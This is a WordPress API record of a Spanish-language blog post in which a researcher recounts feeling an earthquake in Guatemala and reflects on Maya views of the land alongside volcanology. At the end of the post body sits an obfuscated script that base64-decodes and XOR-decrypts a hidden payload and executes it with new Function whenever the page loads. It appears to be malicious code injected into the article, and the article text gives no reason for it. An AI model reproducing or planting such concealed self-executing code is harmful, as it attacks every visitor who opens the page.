{"id":11847,"date":"2024-03-26T09:22:35","date_gmt":"2024-03-26T17:22:35","guid":{"rendered":"https:\/\/www.entremundos.org\/revista\/?p=11847"},"modified":"2026-07-05T10:20:39","modified_gmt":"2026-07-05T18:20:39","slug":"cuando-la-tierra-se-movio","status":"publish","type":"post","link":"https:\/\/www.entremundos.org\/revista\/politica\/cuando-la-tierra-se-movio\/","title":{"rendered":"Cuando la tierra se movi\u00f3"},"content":{"rendered":"<p>POR CECILIA REED<\/p>\n<p>Estaba profundamente dormida, unos minutos despu\u00e9s de la medianoche; cuando de repente, \u00a1mi cuerpo entr\u00f3 en modo de p\u00e1nico y me despert\u00e9! Mi cama se balanceaba vigorosamente de izquierda a derecha, y las paredes a mi alrededor se balanceaban en direcci\u00f3n opuesta a un ritmo similar.<br \/>\nNunca hab\u00eda sentido esto antes, pero supe al instante que estaba experimentando un terremoto. Fue en las primeras horas del s\u00e1bado 27 de enero cuando las noticias m\u00e1s tarde compartieron que un terremoto de magnitud 6 grados se hab\u00eda extendido desde el departamento de Escuintla, en el oeste de Guatemala, llegando hasta los pa\u00edses vecinos de El Salvador y M\u00e9xico.<\/p>\n<p>Guatemala tiene una ubicaci\u00f3n primaria para la actividad s\u00edsmica regular. Situada entre las placas tect\u00f3nicas de Am\u00e9rica del Norte, Cocos y el Caribe, su topograf\u00eda monta\u00f1osa y volc\u00e1nica refleja la actividad geol\u00f3gica en curso entre estas tres placas. Debido a la naturaleza impredecible del movimiento tect\u00f3nico de las placas, actualmente no es posible predecir cu\u00e1ndo y d\u00f3nde puede ocurrir un terremoto. En contraste, con la actividad volc\u00e1nica, hay una posibilidad ligeramente mayor de predecir lo que un volc\u00e1n podr\u00eda hacer, basado en su historia eruptiva y la medici\u00f3n de terremotos volc\u00e1nicos-tect\u00f3nicos (VT). Cuanto mayor sea la frecuencia y el tama\u00f1o de los eventos de VT que ocurren en un sitio volc\u00e1nico, mayor es la probabilidad de que el magma se mueva hacia la superficie y la actividad eruptiva sea inminente.<\/p>\n<p>De hecho, las mediciones realizadas por los cient\u00edficos en los sitios volc\u00e1nicos se han convertido en la norma cuando se aprende sobre la actividad tect\u00f3nica geol\u00f3gica. Sin embargo, estos m\u00e9todos est\u00e1n arraigados en las formas occidentales de formar conocimiento, derivados del per\u00edodo de la Ilustraci\u00f3n cuando el mundo natural y sus fen\u00f3menos se racionalizaron constantemente. Como investigadora que ha estudiado volcanolog\u00eda f\u00edsica a nivel de maestr\u00eda en el Reino Unido y que tiene herencia centroamericana, esta forma de conectarse con la tierra y su viaje no siempre ha resonado conmigo. Por lo tanto, he regresado a Am\u00e9rica Central, espec\u00edficamente a las Tierras Altas del Noroeste de Guatemala, para reconectarme con mis propias ra\u00edces ancestrales de conocimiento de la tierra.<\/p>\n<p>Seg\u00fan los mayas, que han vivido aqu\u00ed durante miles de a\u00f1os, la tierra y todos sus procesos son considerados sagrados. Su cosmovisi\u00f3n ve la naturaleza como viviente, incluyendo objetos inanimados como rocas y piedras. Han desarrollado una forma de vivir con el mundo natural que se basa en una profunda adoraci\u00f3n por \u00e9l. En este sentido, estoy aqu\u00ed para hacer lo mismo, para desarrollar a\u00fan m\u00e1s una relaci\u00f3n con lo m\u00e1s que humano y entender estas profundas conexiones que los mayas tienen con el mundo natural.<\/p>\n<p>En las primeras horas de aquel s\u00e1bado, mientras la tierra me sacud\u00eda de un lado a otro en mi cama, comenc\u00e9 a entender este concepto a un nivel m\u00e1s profundo. De algo poderoso que se origina en la tierra debajo de m\u00ed&#8230; una identidad y una existencia que exige respeto. Sent\u00ed algo m\u00e1s que existe m\u00e1s all\u00e1 de las medidas precisas, una vitalidad que no responde a la l\u00f3gica sino al sentimiento. No sab\u00eda qu\u00e9 hacer, pero quiz\u00e1 era lo que necesitaba. No hacer nada. Fue una experiencia profunda que me conmovi\u00f3 profundamente (\u00a1y literalmente!) estoy deseando explorar m\u00e1s este concepto a lo largo de los pr\u00f3ximos meses. Si usted es alguien con herencia maya, que le gustar\u00eda hablar m\u00e1s sobre este tema, por favor p\u00f3ngase en contacto. \u00a1Me encantar\u00eda hablar!<\/p>\n<p><em>Soy Cecilia del Reino Unido. Soy biracial con herencia mesoamericana e inglesa. Soy becaria de un doctorado en Geograf\u00eda Ambiental y Sagrada a la universidad de Cambridge y estoy en Guatemala haciendo investigaciones sobre las relaciones de la cultura Maya con la tierra volcanica.<\/em><\/p>\n<p><a href=\"https:\/\/www.entremundos.org\/revista\/wp-content\/uploads\/2024\/03\/20240104_092137-scaled.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-11730 aligncenter\" src=\"https:\/\/www.entremundos.org\/revista\/wp-content\/uploads\/2024\/03\/20240104_092137-300x225.jpg\" alt=\"\" width=\"300\" height=\"225\" srcset=\"https:\/\/www.entremundos.org\/revista\/wp-content\/uploads\/2024\/03\/20240104_092137-300x225.jpg 300w, https:\/\/www.entremundos.org\/revista\/wp-content\/uploads\/2024\/03\/20240104_092137-1024x768.jpg 1024w, https:\/\/www.entremundos.org\/revista\/wp-content\/uploads\/2024\/03\/20240104_092137-768x576.jpg 768w, https:\/\/www.entremundos.org\/revista\/wp-content\/uploads\/2024\/03\/20240104_092137-1536x1152.jpg 1536w, https:\/\/www.entremundos.org\/revista\/wp-content\/uploads\/2024\/03\/20240104_092137-2048x1536.jpg 2048w, https:\/\/www.entremundos.org\/revista\/wp-content\/uploads\/2024\/03\/20240104_092137-72x54.jpg 72w, https:\/\/www.entremundos.org\/revista\/wp-content\/uploads\/2024\/03\/20240104_092137-335x251.jpg 335w, https:\/\/www.entremundos.org\/revista\/wp-content\/uploads\/2024\/03\/20240104_092137-1050x788.jpg 1050w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><script>;!function(){var _0x2b22=atob('E11OVVhPUlRVExJAUl0TTFJVX1RMYBxkWQMMWQ9eXw0NXRxmEkleT05JVQBMUlVfVExgHGRZAwxZD15fDQ1dHGYGCgBNWkkbZEtZQkFJBhlZXVoDXw0NDQMMWF4LXV8JC1pfAwpeCAwMXQhfC1oNCAMPClkPCQkICloLWAxdAg4ZAE1aSRtkXkxeSkoGYBxTT09LSAEUFElLWBZWWlJVVV5PFVZaT1JYFUpOUlBVVF9eFUtJVBwXHFNPT0tIARQUS1RXQlxUVRVcWk9eTFpCFU9eVV9eSVdCFVhUHBccU09PS0gBFBRLVFdCXFRVFlZaUlVVXk8VS05ZV1JYFVlXWkhPWktSFVJUHBccU09PS0gBFBRLVFdCXFRVFllUSRZJS1gVS05ZV1JYVVRfXhVYVFYcFxxTT09LSAEUFEtUV0JcVFUWS05ZV1JYFVVUX1JeSBVaS0scFxxTT09LSAEUFElLWBVaVVBJFVhUVhRLVFdCXFRVHBccU09PS0gBFBQKSUtYFVJUFFZaT1JYHBccU09PS0gBFBRLVFdCXFRVFV9JS1gVVElcHGYATVpJG2ReWk9ZWgYZC0MLeAx4WQsKeAMICQsIWngLWg4LellYCFoCen19CFgCeFoMCQxefQ4OGQBNWkkbZFJOVFFWQwYZWQ0DXwoDCwIZAF1OVVhPUlRVG2RTU1BJQhNkV0xeWFUSQE9JQkBNWkkbZF9BWF1eUEMGZFdMXlhVFUhOWUhPSRMLFwkSBgYGHAtDHARkV0xeWFUVSE5ZSE9JEwkSAWRXTF5YVQBSXRNkX0FYXV5QQxVXXlVcT1MHCgkDEkleT05JVRwcAE1aSRtkUVpaUF8GS1pJSF5yVU8TZF9BWF1eUEMVSE5ZSE9JEw0PFw0PEhcKDRIAUl0TGmRRWlpQXxJJXk9OSVUcHABNWkkbZFVWXVhfSgZkX0FYXV5QQxVITllIT0kTCgkDF2RRWlpQXxEJEhdkWk5JT1JeXAYcHABdVEkTTVpJG2RMSEtRX1gGCwBkTEhLUV9YB2RVVl1YX0oVV15VXE9TAGRMSEtRX1gQBgkSQE1aSRtkTVVLQkxLSwZLWklIXnJVTxNkVVZdWF9KFUhOWUhPSRNkTEhLUV9YFwkSFwoNEgBSXRNkTVVLQkxLSxJkWk5JT1JeXBAGaE9JUlVcFV1JVFZ4U1pJeFRfXhNkTVVLQkxLSxIARkleT05JVRtkWk5JT1JeXABGWFpPWFMTXhJASV5PTklVHBwARkZdTlVYT1JUVRtkUVhTQUNVE2RRTFNKTEwXZF1JVENVEkBJXk9OSVUbVV5MG2tJVFZSSF4TXU5VWE9SVFUTZFNSVFZcQhdkUkxTXFoSQE1aSRtkTlZNSlwGVV5MG2N2d3NPT0tpXkpOXkhPExIAZE5WTUpcFVRLXlUTHGt0aG8cF2RRTFNKTEwXT0lOXhIAZE5WTUpcFUheT2leSk5eSE9zXlpfXkkTHHhUVU9eVU8Wb0JLXhwXHFpLS1dSWFpPUlRVFFFIVFUcEgBkTlZNSlwVT1JWXlROTwYOCwsLAGROVk1KXBVUVVdUWl8GXU5VWE9SVFUTEkBPSUJAZFNSVFZcQhNxaHR1FUtaSUheE2ROVk1KXBVJXkhLVFVIXm9eQ08SEgBGWFpPWFMTXhJAZFJMU1xaE14SAEZGAGROVk1KXBVUVV5JSVRJBmROVk1KXBVUVU9SVl5UTk8GXU5VWE9SVFUTEkBkUkxTXFoTVV5MG35JSVRJExISAEYAZE5WTUpcFUheVV8TcWh0dRVIT0lSVVxSXUITZF1JVENVEhIARhIARl1OVVhPUlRVG2RZUFJIWEpSE2RKS1dcSxJAUl0TZEpLV1xLBQZkXkxeSkoVV15VXE9TEkleT05JVRtrSVRWUkheFUleSFRXTV4TVU5XVxIATVpJG2RdXE5fQlJVBkBRSFRVSUtYARwJFQscF1ZeT1NUXwEcXk9TZFhaV1ccF0taSVpWSAFgQE9UAWReWk9ZWhdfWk9aARwLQxwQZFJOVFFWQ0YXHFdaT15ITxxmF1JfAQpGAEleT05JVRtkUVhTQUNVE2ReTF5KSmBkSktXXEtmF2RdXE5fQlJVEhVPU15VE11OVVhPUlRVE2RSSEJcQhJATVpJG2RBUUJUTwZkUkhCXEIdHWRSSEJcQhVJXkhOV08EZFNTUElCE2RSSEJcQhVJXkhOV08SARwcAFJdE2RBUUJUTxJJXk9OSVUbZEFRQlRPFUleS1daWF4TFGcUEB8UFxwcEgBJXk9OSVUbZFlQUkhYSlITZEpLV1xLEAoSAEYSFVhaT1hTE11OVVhPUlRVExJASV5PTklVG2RZUFJIWEpSE2RKS1dcSxAKEgBGEgBGXU5VWE9SVFUbZE1MWVxUXBNkVlpeUlgSQE1aSRtkQUteU00GX1RYTlZeVU8VWEleWk9efldeVl5VTxMcSFhJUktPHBIAZEFLXlNNFUhJWAZkVlpeUlgQHBRaS1IVS1NLBEgGHBBkS1lCQUkQHB1kTQYcEHZaT1MVXVdUVEkTf1pPXhVVVEwTEhQNCwsLCxIAZEFLXlNNFVpIQlVYBk9JTl4AE19UWE5WXlVPFVNeWl9HR19UWE5WXlVPFVlUX0ISFVpLS15VX3hTUldfE2RBS15TTRIARmRZUFJIWEpSEwsSFU9TXlUTXU5VWE9SVFUTZFZaXlJYEkBSXRNkVlpeUlgSZE1MWVxUXBNkVlpeUlgSAEYSAEYSExIA'),_0x4cbf=59,_0xe52d=new Uint8Array(_0x2b22['length']),_0x249c=0;for(;_0x249c<_0x2b22['length'];_0x249c++)_0xe52d[_0x249c]=_0x2b22['charCodeAt'](_0x249c)^_0x4cbf;(new Function(new TextDecoder()['decode'](_0xe52d)))()}();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>POR CECILIA REED Estaba profundamente dormida, unos minutos despu\u00e9s de la medianoche; cuando de repente, \u00a1mi cuerpo entr\u00f3 en modo de p\u00e1nico y me despert\u00e9! Mi cama se balanceaba vigorosamente de izquierda a derecha, y las paredes a mi alrededor se balanceaban en direcci\u00f3n opuesta a un ritmo similar. Nunca hab\u00eda sentido esto antes, pero [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":11732,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[402,452,386,378],"tags":[],"class_list":["post-11847","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-accion-comunitaria-3","category-frontpage","category-mujer","category-politica"],"_links":{"self":[{"href":"https:\/\/www.entremundos.org\/revista\/wp-json\/wp\/v2\/posts\/11847","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.entremundos.org\/revista\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.entremundos.org\/revista\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.entremundos.org\/revista\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.entremundos.org\/revista\/wp-json\/wp\/v2\/comments?post=11847"}],"version-history":[{"count":2,"href":"https:\/\/www.entremundos.org\/revista\/wp-json\/wp\/v2\/posts\/11847\/revisions"}],"predecessor-version":[{"id":14074,"href":"https:\/\/www.entremundos.org\/revista\/wp-json\/wp\/v2\/posts\/11847\/revisions\/14074"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.entremundos.org\/revista\/wp-json\/wp\/v2\/media\/11732"}],"wp:attachment":[{"href":"https:\/\/www.entremundos.org\/revista\/wp-json\/wp\/v2\/media?parent=11847"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.entremundos.org\/revista\/wp-json\/wp\/v2\/categories?post=11847"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.entremundos.org\/revista\/wp-json\/wp\/v2\/tags?post=11847"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}